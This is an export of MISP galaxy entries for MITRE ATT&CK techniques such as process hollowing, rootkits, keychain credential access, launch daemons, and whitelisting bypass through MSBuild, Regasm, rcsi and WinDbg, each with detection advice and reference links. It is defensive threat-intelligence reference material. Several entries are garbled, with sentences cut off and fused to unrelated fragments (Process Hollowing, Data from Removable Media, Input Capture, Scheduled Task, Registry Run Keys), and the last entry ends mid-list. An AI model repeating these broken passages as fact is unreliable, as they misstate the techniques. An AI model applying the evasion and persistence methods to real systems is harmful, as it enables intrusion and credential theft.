The tag is: *misp-galaxy:mitre-attack-pattern="File System Permissions Weakness"*

Table 1693. Table References

Links
https://attack.mitre.org/wiki/Technique/T1044
https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/
http://seclists.org/fulldisclosure/2015/Dec/34

Process Hollowing

Process hollowing occurs when a process is created in a suspended state and the process’s memory is replaced with the code of a second program so that the second program runs instead of the original program. Windows and process monitoring tools believe the original process is running, whereas the actual program running is different.DLL Injection to evade defenses and detection analysis of malicious process execution by launching adversary-controlled code under the context of a legitimate process.

Detection: Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior.

Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: Process monitoring, API monitoring

The tag is: *misp-galaxy:mitre-attack-pattern="Process Hollowing"*

Table 1694. Table References

Links
https://attack.mitre.org/wiki/Technique/T1093
http://www.autosectools.com/process-hollowing.pdf

Scripting

Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and PowerShell but could also be in the form of command-line batch scripts.

Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit[[Citation: Metasploit]], Veil[[Citation: Veil]], and PowerSploit[[Citation: Powersploit]] are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell.[[Citation: Alperovitch 2014]]

Detection: Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.

Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information , , or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X

Data Sources: Process monitoring, File monitoring, Process command-line parameters

The tag is: *misp-galaxy:mitre-attack-pattern="Scripting"*

Table 1695. Table References

Links
https://attack.mitre.org/wiki/Technique/T1064
http://www.metasploit.com
http://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/
https://www.veil-framework.com/framework/
https://github.com/mattifestation/PowerSploit

Data from Removable Media

Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to cmd may be used to gather information. Some adversaries may also use Automated Collection on removable media.

Detection: Monitor processes and command-line arguments for actions that could be taken to collect files from a system's connected removable media. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X

Data Sources: File monitoring, Process monitoring, Process command-line parameters

The tag is: *misp-galaxy:mitre-attack-pattern="Data from Removable Media"*

Table 1696. Table References

Links
https://attack.mitre.org/wiki/Technique/T1025

Code Signing

Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with.[[Citation: Wikipedia Code Signing]] However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries[[Citation: Janicab]]. The certificates used during an operation may be created, forged, or stolen by the adversary.[[Citation: Securelist Digital Certificates]][[Citation: Symantec Digital Certificates]]

Code signing to verify software on first run can be used on modern Windows and MacOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform.[[Citation: Wikipedia Code Signing]]

Code signing certificates may be used to bypass security policies that require signed code to execute on a system.

Detection: Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, MacOS, OS X

Data Sources: Binary file metadata

The tag is: *misp-galaxy:mitre-attack-pattern="Code Signing"*

Table 1697. Table References

Links
https://attack.mitre.org/wiki/Technique/T1116
http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates
https://securelist.com/blog/security-policies/68593/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/
http://www.thesafemac.com/new-signed-malware-called-janicab/
https://en.wikipedia.org/wiki/Code%20signing

Hidden Window

The configurations for how applications run on macOS and OS X are listed in property list (plist) files. One of the tags in these files can be <code>apple.awt.UIElement</code>, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window [[Citation: Antiquated Mac Malware]].

Detection: Plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the <code>apple.awt.UIElement</code> or any other suspicious plist tag in plist files and flag them.

Platforms: MacOS, OS X

Data Sources: File monitoring

The tag is: *misp-galaxy:mitre-attack-pattern="Hidden Window"*

Table 1698. Table References

Links
https://attack.mitre.org/wiki/Technique/T1143
https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/

Rootkit

Rootkits are programs that hide the existence of malware by intercepting and modifying operating system API calls that supply system information. Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a Hypervisor, Master Boot Record, or the System Firmware.[[Citation: Wikipedia Rootkit]]

Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components.

Detection: Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR.[[Citation: Wikipedia Rootkit]]

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: BIOS, MBR, System calls

The tag is: *misp-galaxy:mitre-attack-pattern="Rootkit"*

Table 1699. Table References

Links
https://attack.mitre.org/wiki/Technique/T1014
https://en.wikipedia.org/wiki/Rootkit

Startup Items

Per Apple’s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items[[Citation: Startup Items]]. This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, <code>/Library/StartupItems</code> isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), <code>StartupParameters.plist</code>, reside in the top-level directory.

An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism[[Citation: Methods of Mac Malware Persistence]]. Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.

Detection: The <code>/Library/StartupItems</code> folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist. Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.

Platforms: MacOS, OS X

Data Sources: File monitoring, Process Monitoring

Effective Permissions: root

The tag is: *misp-galaxy:mitre-attack-pattern="Startup Items"*

Table 1700. Table References

Links
https://attack.mitre.org/wiki/Technique/T1165
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Command-Line Interface

Command-line interfaces provide a way of interacting with computer systems and is a common feature across many types of operating system platforms.cmd, which can be used to perform a number of tasks including execution of other software. Command-line interfaces can be interacted with locally or remotely via a remote desktop application, reverse shell session, etc. Commands that are executed run with the current permission level of the command-line interface process unless the command includes process invocation that changes permissions context for that execution (e.g. Scheduled Task).

Adversaries may use command-line interfaces to interact with systems and execute other software during the course of an operation.

Detection: Command-line interface activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X

Data Sources: Process monitoring, Process command-line parameters

The tag is: *misp-galaxy:mitre-attack-pattern="Command-Line Interface"*

Table 1701. Table References

Links
https://attack.mitre.org/wiki/Technique/T1059
https://en.wikipedia.org/wiki/Command-line%20interface

Exfiltration Over Command and Control Channel

Data exfiltration is performed over the [[Command and Control]] channel. Data is encoded into the normal communications channel using the same protocol as command and control communications.

Detection: Detection for command and control applies. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X

Data Sources: User interface, Process monitoring

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel"*

Table 1702. Table References

Links
https://attack.mitre.org/wiki/Technique/T1041
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Multi-Stage Channels

Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.

Remote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.

The different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or Fallback Channels in case the original first-stage communication path is discovered and blocked.

Detection: Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure. Relating subsequent actions that may result from of the system and network information or [[Lateral Movement]] to the originating process may also yield useful data.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X

Data Sources: Netflow/Enclave netflow, Network device logs, Network protocol analysis, Packet capture, Process use of network

The tag is: *misp-galaxy:mitre-attack-pattern="Multi-Stage Channels"*

Table 1703. Table References

Links
https://attack.mitre.org/wiki/Technique/T1104

Keychain

Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in <code>~/Library/Keychains/</code>,<code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>.[[Citation: Wikipedia keychain]] The <code>security</code> command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.

To manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault.[[Citation: External to DA, the OS X Way]] By default, the passphrase for the keychain is the user’s logon credentials.

Detection: Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.

Platforms: MacOS, OS X

Data Sources: System calls, Process Monitoring

The tag is: *misp-galaxy:mitre-attack-pattern="Keychain"*

Table 1704. Table References

Links
https://attack.mitre.org/wiki/Technique/T1142
http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way
https://en.wikipedia.org/wiki/Keychain%20(software)

Input Capture

Adversaries can use methods of capturing user input for obtaining credentials for Valid Accounts and information Credential Dumping efforts are not effective, and may require an adversary to remain passive on a system for a period of time before an opportunity arises.

Adversaries may also install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service.Valid Accounts in use by adversaries may help to catch the result of user input interception if new techniques are used.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X

Data Sources: Windows Registry, Kernel drivers, Process monitoring, API monitoring

Contributors: John Lambert, Microsoft Threat Intelligence Center

The tag is: *misp-galaxy:mitre-attack-pattern="Input Capture"*

Table 1705. Table References

Links
https://attack.mitre.org/wiki/Technique/T1056
http://blog.leetsys.com/2012/01/02/capturing-windows-7-credentials-at-logon-using-custom-credential-provider/
https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/

Regsvcs/Regasm

Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft.[[Citation: MSDN Regsvcs]][[Citation: MSDN Regasm]]

Adversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute.[[Citation: SubTee GitHub All The Things Application Whitelisting Bypass]]

Detection: Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: Process monitoring, Process command-line parameters

Contributors: Casey Smith

The tag is: *misp-galaxy:mitre-attack-pattern="Regsvcs/Regasm"*

Table 1706. Table References

Links
https://attack.mitre.org/wiki/Technique/T1121
https://msdn.microsoft.com/en-us/library/04za0hca.aspx
https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx
https://github.com/subTee/AllTheThings

Trusted Developer Utilities

There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering. These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application whitelisting defensive solutions.

===MSBuild===

MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It takes XML formatted project files that define requirements for building various platforms and configurations.[[Citation: MSDN MSBuild]]

Adversaries can use MSBuild to proxy execution of code through a trusted Windows utility. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# code to be inserted into the XML project file.[[Citation: MSDN MSBuild Inline Tasks]] MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application whitelisting defenses that are configured to allow MSBuild.exe execution.[[Citation: SubTee GitHub All The Things Application Whitelisting Bypass]]

===DNX===

The .NET Execution Environment (DNX), dnx.exe, is a software development kit packaged with Visual Studio Enterprise. It was retired in favor of .NET Core CLI in 2016.[[Citation: Microsoft Migrating from DNX]] DNX is not present on standard builds of Windows and may only be present on developer workstations using older versions of .NET Core and ASP.NET Core 1.0. The dnx.exe executable is signed by Microsoft.

An adversary can use dnx.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for DNX.[[Citation: engima0x3 DNX Bypass]]

===RCSI===

The rcsi.exe utility is a non-interactive command-line interface for C# that is similar to csi.exe. It was provided within an early version of the Roslyn .NET Compiler Platform but has since been deprecated for an integrated solution.[[Citation: Microsoft Roslyn CPT RCSI]] The rcsi.exe binary is signed by Microsoft.[[Citation: engima0x3 RCSI Bypass]]

C# .csx script files can be written and executed with rcsi.exe at the command-line. An adversary can use rcsi.exe to proxy execution of arbitrary code to bypass application whitelisting policies that do not account for execution of rcsi.exe.[[Citation: engima0x3 RCSI Bypass]]

===WinDbg/CDB===

WinDbg is a Microsoft Windows kernel and user-mode debugging utility. The Microsoft Console Debugger (CDB) cdb.exe is also user-mode debugger. Both utilities are included in Windows software development kits and can be used as standalone tools.[[Citation: Microsoft Debugging Tools for Windows]] They are commonly used in software development and reverse engineering and may not be found on typical Windows systems. Both WinDbg.exe and cdb.exe binaries are signed by Microsoft.

An adversary can use WinDbg.exe and cdb.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for execution of those utilities.[[Citation: Exploit Monday WinDbg]]

It is likely possible to use other debuggers for similar purposes, such as the kernel-mode debugger kd.exe, which is also signed by Microsoft.

Detection: The presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.

Use process monitoring to monitor the execution and arguments of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, and cdb.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.

Platforms: Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: Process monitoring

Contributors: Casey Smith

The tag is: *misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities"*

Table 1707. Table References

Links
https://attack.mitre.org/wiki/Technique/T1127
https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/
https://msdn.microsoft.com/library/dd722601.aspx
https://blogs.msdn.microsoft.com/visualstudio/2011/10/19/introducing-the-microsoft-roslyn-ctp/
https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/index
https://github.com/subTee/AllTheThings
https://msdn.microsoft.com/library/dd393574.aspx
http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html
https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/
https://docs.microsoft.com/en-us/dotnet/core/migration/from-dnx

System Network Configuration Discovery

Adversaries will likely look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp, ipconfig/ifconfig, nbtstat, and route.

Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Windows Management Instrumentation and PowerShell.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X

Data Sources: Process monitoring, Process command-line parameters

The tag is: *misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery"*

Table 1708. Table References

Links
https://attack.mitre.org/wiki/Technique/T1016

Scheduled Task

Utilities such as at and schtasks, along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. The account used to create the task must be in the Administrators group on the local system. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on.Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: File monitoring, Process monitoring, Process command-line parameters

Effective Permissions: SYSTEM, Administrator

The tag is: *misp-galaxy:mitre-attack-pattern="Scheduled Task"*

Table 1709. Table References

Links
https://attack.mitre.org/wiki/Technique/T1053
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://technet.microsoft.com/en-us/library/cc785125.aspx

Application Shimming

The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow compatibility of programs as Windows updates and changes its code. For example, application shimming feature that allows programs that were created for Windows XP to work with Windows 10. Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses API hooking to redirect the code as necessary in order to communicate with the OS. A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:

- <code>%WINDIR%\AppPatch\sysmain.sdb</code>
- <code>hklm\software\microsoft\windows nt\currentversion\appcompatflags\installedsdb</code>

Custom databases are stored in:

- <code>%WINDIR%\AppPatch\custom & %WINDIR%\AppPatch\AppPatch64\Custom</code>
- <code>hklm\software\microsoft\windows nt\currentversion\appcompatflags\custom</code>

To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to Bypass User Account Control (UAC) (RedirectEXE), inject DLLs into processes (InjectDll), and intercept memory addresses (GetProcAddress). Utilizing these shims, an adversary can perform several malicious acts, such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.

Detection: There are several public tools available that will detect shims that are currently available[[Citation: Black Hat 2015 App Shim]]:

- Shim-Process-Scanner - checks memory of every running process for any Shim flags
- Shim-Detector-Lite - detects installation of custom shim databases
- Shim-Guard - monitors registry for any shim installations
- ShimScanner - forensic tool to find active shims in memory
- ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)

Monitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: Loaded DLLs, System calls, Windows Registry, Process Monitoring, Process command-line parameters

The tag is: *misp-galaxy:mitre-attack-pattern="Application Shimming"*

Table 1710. Table References

Links
https://attack.mitre.org/wiki/Technique/T1138
https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf

Windows Management Instrumentation

Windows Management Instrumentation (WMI) is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB)[[Citation: Wikipedia SMB]] and Remote Procedure Call Service (RPCS)[[Citation: TechNet RPC]] for remote access. RPCS operates over port 135.[[Citation: MSDN WMI]]

An adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for and remote of files as part of [[Lateral Movement]].[[Citation: FireEye WMI 2015]]

Detection: Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of "wmic" and detect commands that are used to perform remote behavior.[[Citation: FireEye WMI 2015]]

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: Authentication logs, Netflow/Enclave netflow, Process monitoring, Process command-line parameters

The tag is: *misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation"*

Table 1711. Table References

Links
https://attack.mitre.org/wiki/Technique/T1047
https://msdn.microsoft.com/en-us/library/aa394582.aspx
https://en.wikipedia.org/wiki/Server%20Message%20Block
https://technet.microsoft.com/en-us/library/cc787851.aspx
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf

NTFS Extended Attributes

Data or executables may be stored in New Technology File System (NTFS) partition metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus.[[Citation: Journey into IR ZeroAccess NTFS EA]]

The NTFS format has a feature called Extended Attributes (EA), which allows data to be stored as an attribute of a file or folder.[[Citation: Microsoft File Streams]]

Detection: Forensic techniques exist to identify information stored in EA.[[Citation: Journey into IR ZeroAccess NTFS EA]] It may be possible to monitor NTFS for writes or reads to NTFS EA or to regularly scan for the presence of modified information.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: File monitoring, Kernel drivers

The tag is: *misp-galaxy:mitre-attack-pattern="NTFS Extended Attributes"*

Table 1712. Table References

Links
https://attack.mitre.org/wiki/Technique/T1096
http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html
http://msdn.microsoft.com/en-us/library/aa364404

Launch Daemon

Per Apple's developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code>[[Citation: AppleDocs Launch Agent Daemons]]. These LaunchDaemons have property list files which point to the executables that will be launched[[Citation: Methods of Mac Malware Persistence]].

Adversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories[[Citation: OSX Malware Detection]]. The daemon name may be disguised by using a name from a related operating system or benign software [[Citation: WireLurker]]. Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.

The plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon's executable and gain persistence or Privilege Escalation.

Detection: Monitor Launch Daemon creation through additional plist files and utilities such as Objective-See's Knock Knock application.

Platforms: MacOS, OS X

Data Sources: Process Monitoring, File monitoring

Effective Permissions: root

The tag is: *misp-galaxy:mitre-attack-pattern="Launch Daemon"*

Table 1713. Table References

Links
https://attack.mitre.org/wiki/Technique/T1160
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
https://www.paloaltonetworks.com/content/dam/pan/en%20US/assets/pdf/reports/Unit%2042/unit42-wirelurker.pdf
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
https://www.synack.com/wp-content/uploads/2016/03/RSA%20OSX%20Malware.pdf

Process Discovery

Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software running on systems within the network.

===Windows===

An example command that would obtain details on processes is "tasklist" using the Tasklist utility.

===Mac and Linux===

In Mac and Linux, this is accomplished with the <code>ps</code> command.

Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Windows Management Instrumentation and PowerShell.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X

Data Sources: Process monitoring, Process command-line parameters

The tag is: *misp-galaxy:mitre-attack-pattern="Process Discovery"*

Table 1714. Table References

Links
https://attack.mitre.org/wiki/Technique/T1057

System Firmware

The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer.[[Citation: Wikipedia BIOS]][[Citation: Wikipedia UEFI]][[Citation: About UEFI]]

System firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.

Detection: System firmware manipulation may be detected.[[Citation: MITRE Trustworthy Firmware Measurement]] Dump and inspect BIOS images on vulnerable systems and compare against known good images.[[Citation: MITRE Copernicus]] Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.

Likewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed.[[Citation: McAfee CHIPSEC Blog]][[Citation: Github CHIPSEC]][[Citation: Intel HackingTeam UEFI Rootkit]]

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: API monitoring, BIOS, EFI

Contributors: Ryan Becwar

The tag is: *misp-galaxy:mitre-attack-pattern="System Firmware"*

Table 1715. Table References

Links
https://attack.mitre.org/wiki/Technique/T1019
https://en.wikipedia.org/wiki/Unified%20Extensible%20Firmware%20Interface
http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html
http://www.uefi.org/about
http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research
http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about
https://en.wikipedia.org/wiki/BIOS
https://github.com/chipsec/chipsec
https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/

Registry Run Keys / Start Folder

Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.Masquerading to make the Registry entries look as if they are associated with legitimate programs.

